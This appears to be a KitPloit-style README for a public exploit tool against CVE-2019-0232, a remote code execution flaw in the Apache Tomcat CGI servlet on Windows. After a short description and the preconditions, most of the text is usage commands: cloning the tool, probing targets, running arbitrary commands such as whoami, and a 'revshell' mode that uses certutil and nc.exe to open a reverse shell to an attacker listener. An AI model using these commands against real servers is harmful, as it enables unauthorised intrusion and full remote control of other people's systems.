CVE-2019-0232

Apache Tomcat CGIServlet enableCmdLineArguments RCE

Windows batch script injection via query string arguments

Description

Apache Tomcat with the CGI servlet enabled and enableCmdLineArguments=true passes query string parameters as command-line arguments to CGI scripts. On Windows, batch files (.bat/.cmd) interpret & as a command separator, allowing arbitrary command execution via a crafted URL.

Preconditions

  • CGI servlet enabled in conf/web.xml or WEB-INF/web.xml
  • enableCmdLineArguments=true in the CGI servlet init-params
  • A CGI script (e.g. ism.bat) deployed and accessible
  • Windows target (batch files are required for & injection)
  • Usage

    root@kitploit:~
    git clone https://github.com/yuzuki-ayanami/CVE-2019-0232
    cd CVE-2019-0232
    pip install -r requirements.txt
    

    Check if CGI endpoint exists:

    root@kitploit:~
    python cve-2019-0232.py check -t http://target:8080
    python cve-2019-0232.py check -t http://target:8080 --cgi /cgi-bin/printenv.bat
    

    Execute a command:

    root@kitploit:~
    python cve-2019-0232.py exec -t http://target:8080 -c whoami
    python cve-2019-0232.py exec -t http://target:8080 -c 'ipconfig'
    

    Reverse shell (2-stage certutil + nc.exe):

    root@kitploit:~
    python cve-2019-0232.py revshell -t http://target:8080 --lhost 10.0.0.1 --lport 4444
    

    Requirements

    • Python 3.8+
    • requests
    • Windows target (vulnerability is OS-specific)
